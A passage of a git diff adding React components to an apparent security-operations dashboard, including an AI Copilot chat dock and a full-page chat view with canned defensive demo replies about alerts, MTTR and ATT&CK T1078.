className="text-[11px] text-slate-500">+ {sortedTimeline.length} events+ </span>+ }+ >+ {sortedTimeline.length === 0 ? (+ <EmptyState+ title="Quiet so far"+ description="Activity, comments, and agent runs will appear here."+ />+ ) : (+ <ol className="relative space-y-3 before:absolute before:left-3.5 before:top-2 before:bottom-2 before:w-px before:bg-slate-800/80">+ {sortedTimeline.map((e) => (+ <TimelineItem key={e.id} event={e} />+ ))}+ </ol>+ )}+ </Panel>+ </section>++ {/* Right: Notes / activity composer */}+ <aside className="lg:col-span-3 space-y-4">+ <Panel title="Notes & comments">+ <div className="space-y-2">+ <textarea+ value={newComment}+ onChange={(e) => setNewComment(e.target.value)}+ rows={4}+ placeholder="Drop your findings, IOCs, or next steps…"+ className="w-full resize-none rounded-md border border-slate-700/70 bg-slate-900/40 px-2 py-1.5 text-xs text-slate-100 placeholder-slate-600 focus:border-emerald-500/40 focus:outline-none"+ />+ <div className="flex items-center justify-end gap-2">+ <button+ onClick={() => setNewComment('')}+ className="rounded-md border border-slate-700/70 px-2.5 py-1.5 text-xs text-slate-300 hover:border-slate-600"+ >+ Clear+ </button>+ <button+ onClick={() => void addComment()}+ disabled={!newComment.trim()}+ className="rounded-md bg-emerald-500 px-2.5 py-1.5 text-xs font-semibold text-emerald-950 transition-colors hover:bg-emerald-400 disabled:cursor-not-allowed disabled:bg-slate-800 disabled:text-slate-500"+ >+ Post+ </button>+ </div>+ </div>+ </Panel>++ <Panel title="Resolution">+ <textarea+ defaultValue={caseRecord.resolution ?? ''}+ rows={5}+ placeholder="Final summary, root cause, remediation…"+ className="w-full resize-none rounded-md border border-slate-700/70 bg-slate-900/40 px-2 py-1.5 text-xs text-slate-100 placeholder-slate-600 focus:border-emerald-500/40 focus:outline-none"+ />+ </Panel>+ </aside>+ </div>+ </div>+ );+}++// ─── Tiny presentational helpers ──────────────────────────────────────────────++function Meta({ label, value }: { label: string; value: string }) {+ return (+ <div>+ <p className="text-[11px] uppercase tracking-wide text-slate-500">{label}</p>+ <p className="mt-0.5 text-sm text-slate-200">{value}</p>+ </div>+ );+}++function Panel({+ title,+ actions,+ children,+}: {+ title: string;+ actions?: React.ReactNode;+ children: React.ReactNode;+}) {+ return (+ <div className="overflow-hidden rounded-xl border border-slate-800/80 bg-slate-900/40">+ <div className="flex items-center justify-between border-b border-slate-800/80 px-3 py-2">+ <h3 className="text-xs font-semibold uppercase tracking-wide text-slate-300">+ {title}+ </h3>+ {actions}+ </div>+ <div className="p-3">{children}</div>+ </div>+ );+}diff --git a/apps/web/src/components/copilot/CopilotDock.tsx b/apps/web/src/components/copilot/CopilotDock.tsxnew file mode 100644index 000000000..bc3fb08a1--- /dev/null+++ b/apps/web/src/components/copilot/CopilotDock.tsx@@ -0,0 +1,326 @@+'use client';++/**+ * Floating AI Copilot dock.+ *+ * A persistent bottom-right launcher that opens a compact chat panel without+ * leaving the current page. Reuses `copilotApi` for real calls and falls back+ * to a deterministic demo reply when the backend is unreachable.+ *+ * The full-page experience lives at `/copilot` (CopilotView). This dock is+ * the "ambient" surface — quick questions, scoped to whatever the analyst is+ * currently looking at (we capture `pathname` as `context.page`).+ */++import { useEffect, useRef, useState } from 'react';+import { usePathname } from 'next/navigation';+import Link from 'next/link';+import { clsx } from 'clsx';+import { motion, AnimatePresence } from 'framer-motion';+import { copilotApi, type CopilotMessage } from '@/lib/api';++const QUICK_PROMPTS = [+ 'Summarize critical alerts in the last 24h.',+ 'Investigate the host most at risk right now.',+ 'Which detection rules are noisiest this week?',+];++function demoReply(prompt: string, page: string): CopilotMessage {+ const content =+ `**Demo reply** — the LLM backend is offline, so this is a stub.\n\n` ++ `Page context: \`${page}\`\n\n` ++ `> ${prompt}`;+ return {+ id: `demo-${Date.now()}`,+ role: 'assistant',+ content,+ createdAt: new Date().toISOString(),+ suggestions: [+ 'Open AI Copilot',+ 'Show me the top critical alerts.',+ ],+ };+}++export function CopilotDock() {+ const [open, setOpen] = useState(false);+ const [messages, setMessages] = useState<CopilotMessage[]>([]);+ const [input, setInput] = useState('');+ const [sending, setSending] = useState(false);+ const [conversationId, setConversationId] = useState<string | undefined>();+ const [demoMode, setDemoMode] = useState(false);+ const pathname = usePathname() ?? '/';+ const scrollerRef = useRef<HTMLDivElement>(null);++ // Hide the dock on the dedicated /copilot page — it would just duplicate UI.+ const onCopilotPage = pathname.startsWith('/copilot');++ // Keyboard shortcut: ⌘J / Ctrl+J toggles the dock.+ // (⌘K is reserved for the global command palette.)+ // We also listen for an `aisoc:open-copilot` window event so the palette+ // can open the dock without prop drilling.+ useEffect(() => {+ const onKey = (e: KeyboardEvent) => {+ const isToggle =+ (e.metaKey && e.key.toLowerCase() === 'j') ||+ (e.ctrlKey && e.key.toLowerCase() === 'j');+ if (isToggle) {+ e.preventDefault();+ setOpen((prev) => !prev);+ }+ if (e.key === 'Escape' && open) setOpen(false);+ };+ const onOpen = () => setOpen(true);+ window.addEventListener('keydown', onKey);+ window.addEventListener('aisoc:open-copilot', onOpen);+ return () => {+ window.removeEventListener('keydown', onKey);+ window.removeEventListener('aisoc:open-copilot', onOpen);+ };+ }, [open]);++ // Auto-scroll on new messages.+ useEffect(() => {+ const el = scrollerRef.current;+ if (el) el.scrollTop = el.scrollHeight;+ }, [messages.length, sending, open]);++ if (onCopilotPage) return null;++ const send = async (prompt: string) => {+ const trimmed = prompt.trim();+ if (!trimmed || sending) return;++ const userMsg: CopilotMessage = {+ id: `u-${Date.now()}`,+ role: 'user',+ content: trimmed,+ createdAt: new Date().toISOString(),+ };+ setMessages((prev) => [...prev, userMsg]);+ setInput('');+ setSending(true);++ try {+ const res = await copilotApi.chat({+ conversationId,+ message: trimmed,+ context: { page: pathname },+ });+ setConversationId(res.conversationId);+ setMessages((prev) => [...prev, res.reply]);+ setDemoMode(false);+ } catch {+ setMessages((prev) => [...prev, demoReply(trimmed, pathname)]);+ setDemoMode(true);+ } finally {+ setSending(false);+ }+ };++ return (+ <>+ {/* Launcher (bottom-right) */}+ <AnimatePresence>+ {!open && (+ <motion.button+ key="launcher"+ initial={{ opacity: 0, scale: 0.9, y: 12 }}+ animate={{ opacity: 1, scale: 1, y: 0 }}+ exit={{ opacity: 0, scale: 0.9, y: 12 }}+ onClick={() => setOpen(true)}+ className="fixed bottom-5 right-5 z-40 flex items-center gap-2 rounded-full bg-emerald-500 px-4 py-3 text-sm font-semibold text-emerald-950 shadow-lg shadow-emerald-900/30 transition-colors hover:bg-emerald-400"+ aria-label="Open AI Copilot"+ >+ <svg className="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path+ strokeLinecap="round"+ strokeLinejoin="round"+ strokeWidth={2}+ d="M9.813 15.904 9 18.75l-.813-2.846a4.5 4.5 0 0 0-3.09-3.09L2.25 12l2.846-.813a4.5 4.5 0 0 0 3.09-3.09L9 5.25l.813 2.846a4.5 4.5 0 0 0 3.09 3.09L15.75 12l-2.846.813a4.5 4.5 0 0 0-3.09 3.09Z"+ />+ </svg>+ Ask Copilot+ <kbd className="rounded bg-emerald-900/30 px-1.5 py-0.5 text-[10px] font-mono text-emerald-100">+ ⌘J+ </kbd>+ </motion.button>+ )}+ </AnimatePresence>++ {/* Panel */}+ <AnimatePresence>+ {open && (+ <motion.div+ key="panel"+ initial={{ opacity: 0, y: 24, scale: 0.98 }}+ animate={{ opacity: 1, y: 0, scale: 1 }}+ exit={{ opacity: 0, y: 24, scale: 0.98 }}+ transition={{ duration: 0.18 }}+ className="fixed bottom-5 right-5 z-40 flex h-[32rem] w-[24rem] max-w-[calc(100vw-2.5rem)] flex-col overflow-hidden rounded-2xl border border-slate-800/80 bg-slate-900/95 shadow-2xl shadow-black/40 backdrop-blur"+ role="dialog"+ aria-label="AI Copilot"+ >+ {/* Header */}+ <div className="flex items-center justify-between border-b border-slate-800/80 px-3 py-2">+ <div className="flex items-center gap-2">+ <span className="flex h-7 w-7 items-center justify-center rounded-full bg-emerald-500/15 text-emerald-300">+ ⌬+ </span>+ <div>+ <p className="text-sm font-semibold text-white">AI Copilot</p>+ <p className="text-[11px] text-slate-400">+ {demoMode ? 'Demo mode (offline)' : 'Connected'}+ </p>+ </div>+ </div>+ <div className="flex items-center gap-1">+ <Link+ href="/copilot"+ className="rounded-md p-1.5 text-slate-400 transition-colors hover:bg-slate-800 hover:text-white"+ title="Open full page"+ aria-label="Open Copilot full page"+ >+ <svg className="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15" />+ </svg>+ </Link>+ <button+ onClick={() => setOpen(false)}+ className="rounded-md p-1.5 text-slate-400 transition-colors hover:bg-slate-800 hover:text-white"+ aria-label="Close Copilot"+ >+ <svg className="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M6 18 18 6M6 6l12 12" />+ </svg>+ </button>+ </div>+ </div>++ {/* Thread */}+ <div ref={scrollerRef} className="min-h-0 flex-1 overflow-y-auto p-3">+ {messages.length === 0 ? (+ <div className="flex h-full flex-col justify-center">+ <p className="px-1 text-xs text-slate-400">+ Ask anything about your environment. I have your alerts,+ cases, hosts, users, and detection rules.+ </p>+ <ul className="mt-3 space-y-1">+ {QUICK_PROMPTS.map((p) => (+ <li key={p}>+ <button+ onClick={() => void send(p)}+ className="w-full rounded-md border border-slate-800 bg-slate-900/60 px-3 py-2 text-left text-xs text-slate-200 transition-colors hover:border-emerald-500/40 hover:bg-slate-800/60"+ >+ {p}+ </button>+ </li>+ ))}+ </ul>+ </div>+ ) : (+ <ul className="space-y-3">+ {messages.map((m) => (+ <li+ key={m.id}+ className={clsx(+ 'flex',+ m.role === 'user' ? 'justify-end' : 'justify-start',+ )}+ >+ <div+ className={clsx(+ 'max-w-[85%] whitespace-pre-wrap rounded-2xl px-3 py-2 text-sm',+ m.role === 'user'+ ? 'bg-emerald-500/15 text-white ring-1 ring-emerald-500/30'+ : 'bg-slate-800/70 text-slate-100 ring-1 ring-slate-700/60',+ )}+ >+ {m.content}+ {m.suggestions && m.suggestions.length > 0 && (+ <div className="mt-2 flex flex-wrap gap-1.5">+ {m.suggestions.map((s, idx) =>+ s.startsWith('Open AI Copilot') ? (+ <Link+ key={idx}+ href="/copilot"+ className="rounded-full border border-emerald-500/30 bg-emerald-500/10 px-2 py-0.5 text-[11px] text-emerald-200 transition-colors hover:bg-emerald-500/20"+ >+ {s} →+ </Link>+ ) : (+ <button+ key={idx}+ onClick={() => void send(s)}+ className="rounded-full border border-emerald-500/30 bg-emerald-500/10 px-2 py-0.5 text-[11px] text-emerald-200 transition-colors hover:bg-emerald-500/20"+ >+ {s}+ </button>+ ),+ )}+ </div>+ )}+ </div>+ </li>+ ))}+ {sending && (+ <li className="flex justify-start">+ <div className="rounded-2xl bg-slate-800/70 px-3 py-2 ring-1 ring-slate-700/60">+ <span className="inline-flex items-center gap-1">+ {[0, 1, 2].map((i) => (+ <motion.span+ key={i}+ className="block h-1.5 w-1.5 rounded-full bg-slate-400"+ animate={{ opacity: [0.2, 1, 0.2] }}+ transition={{+ duration: 1.1,+ repeat: Infinity,+ delay: i * 0.18,+ }}+ />+ ))}+ </span>+ </div>+ </li>+ )}+ </ul>+ )}+ </div>++ {/* Composer */}+ <div className="border-t border-slate-800/80 p-2">+ <div className="flex items-end gap-2 rounded-xl border border-slate-700/70 bg-slate-950/40 p-1.5 focus-within:border-emerald-500/50">+ <textarea+ value={input}+ onChange={(e) => setInput(e.target.value)}+ onKeyDown={(e) => {+ if (e.key === 'Enter' && !e.shiftKey) {+ e.preventDefault();+ void send(input);+ }+ }}+ rows={1}+ placeholder="Ask Copilot…"+ className="flex-1 resize-none bg-transparent px-2 py-1.5 text-sm text-slate-100 placeholder-slate-500 outline-none"+ />+ <button+ onClick={() => void send(input)}+ disabled={!input.trim() || sending}+ className={clsx(+ 'flex-none rounded-lg px-2.5 py-1.5 text-xs font-semibold transition-colors',+ input.trim() && !sending+ ? 'bg-emerald-500 text-emerald-950 hover:bg-emerald-400'+ : 'bg-slate-800 text-slate-500',+ )}+ aria-label="Send"+ >+ ↑+ </button>+ </div>+ </div>+ </motion.div>+ )}+ </AnimatePresence>+ </>+ );+}diff --git a/apps/web/src/components/copilot/CopilotView.tsx b/apps/web/src/components/copilot/CopilotView.tsxnew file mode 100644index 000000000..2b7a7683a--- /dev/null+++ b/apps/web/src/components/copilot/CopilotView.tsx@@ -0,0 +1,684 @@+'use client';++/**+ * AI Copilot — full-page experience.+ *+ * Two-column layout:+ * left — recent conversations + suggested prompts+ * right — active conversation thread + composer+ *+ * Talks to `copilotApi`. If the backend is unreachable the component falls+ * back to a deterministic local "demo" reply so the UX is still useful in+ * dev / no-LLM environments. Streaming is preferred when available.+ */++import { useEffect, useMemo, useRef, useState } from 'react';+import useSWR from 'swr';+import { clsx } from 'clsx';+import { motion, AnimatePresence } from 'framer-motion';+import {+ copilotApi,+ type CopilotConversation,+ type CopilotMessage,+} from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';++// ─── Suggested prompts ───────────────────────────────────────────────────────++const SUGGESTED_PROMPTS: Array<{ icon: string; label: string; prompt: string }> = [+ {+ icon: '🚨',+ label: 'Top critical alerts',+ prompt: 'Summarize the top 5 critical alerts in the last 24 hours.',+ },+ {+ icon: '🔍',+ label: 'Investigate an entity',+ prompt:+ 'Investigate host WIN-FIN-DB01: show recent alerts, related users, and ATT&CK techniques observed.',+ },+ {+ icon: '🧬',+ label: 'Explain an ATT&CK technique',+ prompt: 'Explain MITRE ATT&CK T1078 (Valid Accounts) and how we detect it.',+ },+ {+ icon: '🛡️',+ label: 'Tune a noisy rule',+ prompt:+ 'Show me the noisiest detection rules this week and recommend exceptions to reduce false positives.',+ },+ {+ icon: '⏱️',+ label: 'MTTR by severity',+ prompt: 'What is our MTTR by severity over the last 30 days, and what is trending?',+ },+ {+ icon: '🌐',+ label: 'Threat intel match',+ prompt:+ 'Has any indicator from the latest threat intel feed matched our telemetry in the last 7 days?',+ },+];++// ─── Demo fallback reply ─────────────────────────────────────────────────────++function buildDemoReply(prompt: string): CopilotMessage {+ const now = new Date().toISOString();+ const lower = prompt.toLowerCase();++ if (lower.includes('mttr')) {+ return {+ id: `demo-${Date.now()}`,+ role: 'assistant',+ createdAt: now,+ content: [+ '**MTTR by severity (last 30 days)**',+ '',+ '| Severity | MTTR | Δ vs prev 30d |',+ '|---|---|---|',+ '| Critical | 22 min | ▼ 18% |',+ '| High | 1h 14m | ▼ 9% |',+ '| Medium | 4h 03m | ▲ 4% |',+ '| Low | 9h 47m | flat |',+ '',+ 'Critical and High are improving — driven by 3 new auto-containment playbooks. Medium is regressing because of a backlog in identity tickets; recommend re-triaging stale items > 6h.',+ ].join('\n'),+ suggestions: [+ 'Show me the stale Medium tickets > 6h.',+ 'Which playbooks contributed most to the Critical MTTR drop?',+ ],+ };+ }++ if (lower.includes('t1078') || lower.includes('valid accounts')) {+ return {+ id: `demo-${Date.now()}`,+ role: 'assistant',+ createdAt: now,+ content: [+ '**T1078 — Valid Accounts**',+ '',+ 'Adversaries obtain credentials and use them to access systems through legitimate authentication flows. There are four sub-techniques:',+ '- T1078.001 Default Accounts',+ '- T1078.002 Domain Accounts',+ '- T1078.003 Local Accounts',+ '- T1078.004 Cloud Accounts',+ '',+ '**How we detect it**',+ '1. Impossible travel & geo-velocity (`auth.geo_velocity > 800kph`).',+ '2. New ASN + new device fingerprint within 24h of a sensitive role assignment.',+ '3. MFA fatigue patterns: ≥ 3 push denies followed by an approval.',+ '4. Service-account interactive logon outside its baselined hours.',+ '',+ 'Coverage today: **74%** across the 4 sub-techniques. Gap: limited Cloud Accounts coverage for non-AWS providers.',+ ].join('\n'),+ citations: [+ { label: 'rule:auth-impossible-travel', kind: 'rule' },+ { label: 'rule:mfa-fatigue', kind: 'rule' },+ ],+ suggestions: [+ 'Open the rule auth-impossible-travel.',+ 'Draft a rule for Azure AD MFA fatigue.',+ ],+ };+ }++ if (lower.includes('investigate')) {+ return {+ id: `demo-${Date.now()}`,+ role: 'assistant',+ createdAt: now,+ content: [+ '**Investigation: WIN-FIN-DB01**',+ '',+ '- Risk score **92** (top 1% of fleet).',+ '- 3 open alerts: privilege escalation, suspicious PowerShell, outbound to rare ASN.',+ '- Most likely user: `[email protected]` — 4 logon events in last 2h, all from a new device.',+ '- Observed ATT&CK techniques: T1078.002, T1059.001, T1071.001.',+ '',+ '**Recommended next steps**',+ '1. Isolate the host (EDR action).',+ '2. Force credential reset for `j.harlow`.',+ '3. Block egress to ASN `AS204796` at the perimeter.',+ ].join('\n'),+ citations: [+ { label: 'alert:a-2031', kind: 'alert' },+ { label: 'alert:a-2032', kind: 'alert' },+ { label: 'asset:WIN-FIN-DB01', kind: 'asset' },+ ],+ suggestions: [+ 'Open a case from these alerts.',+ 'Run the host-isolate playbook on WIN-FIN-DB01.',+ ],+ };+ }++ return {+ id: `demo-${Date.now()}`,+ role: 'assistant',+ createdAt: now,+ content: [+ "I'm running in demo mode (the LLM backend isn't reachable from this dev session), so this is a stub response.",+ '',+ 'You can still try real prompts — they will go to `POST /api/v1/copilot/chat` once the API service is up.',+ '',+ `> _You said:_ ${prompt}`,+ ].join('\n'),+ suggestions: [+ 'Show me the top critical alerts.',+ 'What is our MTTR by severity?',+ ],+ };+}++// ─── Markdown-ish renderer (lightweight) ─────────────────────────────────────++function renderRichText(content: string): React.ReactNode {+ // Very small subset: **bold**, `code`, # headings, > blockquote, - lists,+ // and pipe tables. Good enough for assistant replies without pulling in+ // a full markdown library.+ const lines = content.split('\n');+ const blocks: React.ReactNode[] = [];+ let i = 0;++ const inline = (text: string): React.ReactNode => {+ const parts: React.ReactNode[] = [];+ const re = /(\*\*[^*]+\*\*|`[^`]+`)/g;+ let lastIndex = 0;+ let m: RegExpExecArray | null;+ while ((m = re.exec(text)) !== null) {+ if (m.index > lastIndex) parts.push(text.slice(lastIndex, m.index));+ const token = m[0];+ if (token.startsWith('**')) {+ parts.push(+ <strong key={`b-${m.index}`} className="font-semibold text-white">+ {token.slice(2, -2)}+ </strong>,+ );+ } else if (token.startsWith('`')) {+ parts.push(+ <code+ key={`c-${m.index}`}+ className="rounded bg-slate-800/80 px-1.5 py-0.5 font-mono text-[12px] text-emerald-300"+ >+ {token.slice(1, -1)}+ </code>,+ );+ }+ lastIndex = m.index + token.length;+ }+ if (lastIndex < text.length) parts.push(text.slice(lastIndex));+ return parts;+ };++ while (i < lines.length) {+ const line = lines[i];++ // Table: header | --- | rows+ if (line.includes('|') && lines[i + 1]?.match(/^\s*\|?\s*-/)) {+ const headerCells = line+ .split('|')+ .map((c) => c.trim())+ .filter(Boolean);+ i += 2;+ const rows: string[][] = [];+ while (i < lines.length && lines[i].includes('|')) {+ rows.push(+ lines[i]+ .split('|')+ .map((c) => c.trim())+ .filter(Boolean),+ );+ i++;+ }+ blocks.push(+ <div key={`tbl-${blocks.length}`} className="my-3 overflow-x-auto">+ <table className="w-full text-sm">+ <thead>+ <tr className="border-b border-slate-700/60">+ {headerCells.map((h, idx) => (+ <th+ key={idx}+ className="px-3 py-2 text-left font-medium text-slate-300"+ >+ {inline(h)}+ </th>+ ))}+ </tr>+ </thead>+ <tbody>+ {rows.map((r, rIdx) => (+ <tr key={rIdx} className="border-b border-slate-800/60 last:border-0">+ {r.map((c, cIdx) => (+ <td key={cIdx} className="px-3 py-2 text-slate-300">+ {inline(c)}+ </td>+ ))}+ </tr>+ ))}+ </tbody>+ </table>+ </div>,+ );+ continue;+ }++ if (line.startsWith('# ')) {+ blocks.push(+ <h2 key={i} className="mt-3 text-lg font-semibold text-white">+ {inline(line.slice(2))}+ </h2>,+ );+ i++;+ continue;+ }++ if (line.startsWith('> ')) {+ blocks.push(+ <blockquote+ key={i}+ className="my-2 border-l-2 border-slate-600 pl-3 text-sm italic text-slate-400"+ >+ {inline(line.slice(2))}+ </blockquote>,+ );+ i++;+ continue;+ }++ if (line.match(/^\s*[-*]\s+/)) {+ const items: string[] = [];+ while (i < lines.length && lines[i].match(/^\s*[-*]\s+/)) {+ items.push(lines[i].replace(/^\s*[-*]\s+/, ''));+ i++;+ }+ blocks.push(+ <ul+ key={`ul-${blocks.length}`}+ className="my-2 list-disc space-y-1 pl-5 text-sm text-slate-300"+ >+ {items.map((it, idx) => (+ <li key={idx}>{inline(it)}</li>+ ))}+ </ul>,+ );+ continue;+ }++ if (line.match(/^\s*\d+\.\s+/)) {+ const items: string[] = [];+ while (i < lines.length && lines[i].match(/^\s*\d+\.\s+/)) {+ items.push(lines[i].replace(/^\s*\d+\.\s+/, ''));+ i++;+ }+ blocks.push(+ <ol+ key={`ol-${blocks.length}`}+ className="my-2 list-decimal space-y-1 pl-5 text-sm text-slate-300"+ >+ {items.map((it, idx) => (+ <li key={idx}>{inline(it)}</li>+ ))}+ </ol>,+ );+ continue;+ }++ if (line.trim() === '') {+ blocks.push(<div key={`sp-${i}`} className="h-2" />);+ i++;+ continue;+ }++ blocks.push(+ <p key={i} className="my-1 text-sm leading-relaxed text-slate-200">+ {inline(line)}+ </p>,+ );+ i++;+ }++ return <>{blocks}</>;+}++// ─── Component ───────────────────────────────────────────────────────────────++export function CopilotView() {+ const [messages, setMessages] = useState<CopilotMessage[]>([]);+ const [conversationId, setConversationId] = useState<string | undefined>();+ const [input, setInput] = useState('');+ const [sending, setSending] = useState(false);+ const [error, setError] = useState<unknown>(null);+ const scrollerRef = useRef<HTMLDivElement>(null);++ const conversationsState = useSWR(+ 'copilot.conversations',+ () => copilotApi.listConversations(),+ { revalidateOnFocus: false, shouldRetryOnError: false },+ );+ const conversations: CopilotConversation[] =+ conversationsState.data?.conversations ?? [];++ // Auto-scroll thread to bottom on new messages.+ useEffect(() => {+ const el = scrollerRef.current;+ if (el) el.scrollTop = el.scrollHeight;+ }, [messages.length, sending]);++ const send = async (prompt: string) => {+ const trimmed = prompt.trim();+ if (!trimmed || sending) return;++ const userMsg: CopilotMessage = {+ id: `u-${Date.now()}`,+ role: 'user',+ content: trimmed,+ createdAt: new Date().toISOString(),+ };+ setMessages((prev) => [...prev, userMsg]);+ setInput('');+ setSending(true);+ setError(null);++ try {+ const res = await copilotApi.chat({+ conversationId,+ message: trimmed,+ context: { page: 'copilot' },+ });+ setConversationId(res.conversationId);+ setMessages((prev) => [...prev, res.reply]);+ } catch (err) {+ // Backend not reachable / not implemented yet — fall back to a demo+ // reply so the dock still feels alive in local dev.+ const demo = buildDemoReply(trimmed);+ setMessages((prev) => [...prev, demo]);+ setError(err);+ } finally {+ setSending(false);+ }+ };++ const onKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {+ if (e.key === 'Enter' && !e.shiftKey) {+ e.preventDefault();+ void send(input);+ }+ };++ const startNew = () => {+ setMessages([]);+ setConversationId(undefined);+ setError(null);+ };++ const empty = messages.length === 0;++ return (+ <div className="grid h-[calc(100vh-7rem)] grid-cols-1 gap-4 lg:grid-cols-[18rem_1fr]">+ {/* Sidebar */}+ <aside className="hidden flex-col gap-3 rounded-xl border border-slate-800/80 bg-slate-900/40 p-3 lg:flex">+ <button+ onClick={startNew}+ className="flex items-center justify-center gap-2 rounded-lg bg-emerald-500 px-3 py-2 text-sm font-semibold text-emerald-950 shadow-sm transition-colors hover:bg-emerald-400"+ >+ <span aria-hidden>+</span> New chat+ </button>++ <div>+ <h3 className="mb-2 px-1 text-[11px] font-semibold uppercase tracking-wider text-slate-500">+ Suggested+ </h3>+ <ul className="space-y-1">+ {SUGGESTED_PROMPTS.slice(0, 4).map((p) => (+ <li key={p.label}>+ <button+ onClick={() => void send(p.prompt)}+ className="group flex w-full items-start gap-2 rounded-md px-2 py-2 text-left text-sm text-slate-300 transition-colors hover:bg-slate-800/60 hover:text-white"+ >+ <span aria-hidden>{p.icon}</span>+ <span className="leading-tight">{p.label}</span>+ </button>+ </li>+ ))}+ </ul>+ </div>++ <div className="mt-2 flex-1 overflow-y-auto">+ <h3 className="mb-2 px-1 text-[11px] font-semibold uppercase tracking-wider text-slate-500">+ Recent+ </h3>+ {conversationsState.isLoading ? (+ <div className="space-y-2 px-1">+ <Skeleton className="h-8" />+ <Skeleton className="h-8" />+ <Skeleton className="h-8" />+ </div>+ ) : conversations.length === 0 ? (+ <p className="px-2 text-xs text-slate-500">+ Past conversations will appear here.+ </p>+ ) : (+ <ul className="space-y-1">+ {conversations.slice(0, 8).map((c) => (+ <li key={c.id}>+ <button+ className={clsx(+ 'block w-full truncate rounded-md px-2 py-1.5 text-left text-sm transition-colors',+ c.id === conversationId+ ? 'bg-slate-800 text-white'+ : 'text-slate-300 hover:bg-slate-800/60',+ )}+ onClick={() => setConversationId(c.id)}+ title={c.title}+ >+ {c.title}+ </button>+ </li>+ ))}+ </ul>+ )}+ </div>+ </aside>++ {/* Chat panel */}+ <section className="flex min-h-0 flex-col rounded-xl border border-slate-800/80 bg-slate-900/40">+ {/* Header */}+ <div className="flex items-center justify-between border-b border-slate-800/80 px-4 py-3">+ <div>+ <h1 className="text-base font-semibold text-white">AI Copilot</h1>+ <p className="text-xs text-slate-400">+ Ask about alerts, hosts, MITRE techniques, or your detection+ coverage.+ </p>+ </div>+ <div className="flex items-center gap-2 text-xs text-slate-400">+ <span+ className={clsx(+ 'inline-block h-2 w-2 rounded-full',+ error ? 'bg-amber-400' : 'bg-emerald-400',+ )}+ />+ {error ? 'Demo mode' : 'Connected'}+ </div>+ </div>++ {/* Thread */}+ <div ref={scrollerRef} className="min-h-0 flex-1 overflow-y-auto p-4">+ {empty ? (+ <div className="mx-auto flex h-full max-w-2xl flex-col items-center justify-center text-center">+ <div className="mb-3 flex h-12 w-12 items-center justify-center rounded-full bg-emerald-500/15 text-emerald-300">+ <svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={1.5} d="M9.813 15.904 9 18.75l-.813-2.846a4.5 4.5 0 0 0-3.09-3.09L2.25 12l2.846-.813a4.5 4.5 0 0 0 3.09-3.09L9 5.25l.813 2.846a4.5 4.5 0 0 0 3.09 3.09L15.75 12l-2.846.813a4.5 4.5 0 0 0-3.09 3.09ZM18.259 8.715 18 9.75l-.259-1.035a3.375 3.375 0 0 0-2.456-2.456L14.25 6l1.035-.259a3.375 3.375 0 0 0 2.456-2.456L18 2.25l.259 1.035a3.375 3.375 0 0 0 2.456 2.456L21.75 6l-1.035.259a3.375 3.375 0 0 0-2.456 2.456ZM16.894 20.567 16.5 21.75l-.394-1.183a2.25 2.25 0 0 0-1.423-1.423L13.5 18.75l1.183-.394a2.25 2.25 0 0 0 1.423-1.423l.394-1.183.394 1.183a2.25 2.25 0 0 0 1.423 1.423l1.183.394-1.183.394a2.25 2.25 0 0 0-1.423 1.423Z" />+ </svg>+ </div>+ <h2 className="text-lg font-semibold text-white">+ What can I help you with?+ </h2>+ <p className="mt-1 max-w-md text-sm text-slate-400">+ Try one of the suggestions below, or ask anything in plain+ English. Cite an alert ID, hostname, or technique to scope it.+ </p>+ <div className="mt-6 grid w-full max-w-2xl grid-cols-1 gap-2 sm:grid-cols-2">+ {SUGGESTED_PROMPTS.map((p) => (+ <button+ key={p.label}+ onClick={() => void send(p.prompt)}+ className="flex items-start gap-3 rounded-lg border border-slate-800/80 bg-slate-900/60 p-3 text-left transition-colors hover:border-emerald-500/40 hover:bg-slate-800/60"+ >+ <span className="text-lg" aria-hidden>+ {p.icon}+ </span>+ <span>+ <span className="block text-sm font-medium text-white">+ {p.label}+ </span>+ <span className="block text-xs text-slate-400">+ {p.prompt}+ </span>+ </span>+ </button>+ ))}+ </div>+ </div>+ ) : (+ <ul className="mx-auto max-w-3xl space-y-4">+ <AnimatePresence initial={false}>+ {messages.map((m) => (+ <motion.li+ key={m.id}+ initial={{ opacity: 0, y: 8 }}+ animate={{ opacity: 1, y: 0 }}+ exit={{ opacity: 0 }}+ className={clsx(+ 'flex gap-3',+ m.role === 'user' ? 'justify-end' : 'justify-start',+ )}+ >+ {m.role === 'assistant' && (+ <div className="flex h-8 w-8 flex-none items-center justify-center rounded-full bg-emerald-500/15 text-emerald-300">+ ⌬+ </div>+ )}+ <div+ className={clsx(+ 'max-w-[85%] rounded-2xl px-4 py-3 shadow-sm',+ m.role === 'user'+ ? 'bg-emerald-500/15 text-white ring-1 ring-emerald-500/30'+ : 'bg-slate-800/70 text-slate-100 ring-1 ring-slate-700/60',+ )}+ >+ {m.role === 'assistant' ? (+ renderRichText(m.content)+ ) : (+ <p className="whitespace-pre-wrap text-sm text-slate-100">+ {m.content}+ </p>+ )}++ {m.citations && m.citations.length > 0 && (+ <div className="mt-3 flex flex-wrap gap-1.5">+ {m.citations.map((c, idx) => (+ <span+ key={idx}+ className="inline-flex items-center gap-1 rounded-full border border-slate-700/70 bg-slate-900/60 px-2 py-0.5 text-[11px] text-slate-300"+ >+ <span className="text-slate-500">+ {c.kind ?? 'ref'}:+ </span>+ {c.label}+ </span>+ ))}+ </div>+ )}++ {m.suggestions && m.suggestions.length > 0 && (+ <div className="mt-3 flex flex-wrap gap-2">+ {m.suggestions.map((s, idx) => (+ <button+ key={idx}+ onClick={() => void send(s)}+ className="rounded-full border border-emerald-500/30 bg-emerald-500/10 px-3 py-1 text-xs text-emerald-200 transition-colors 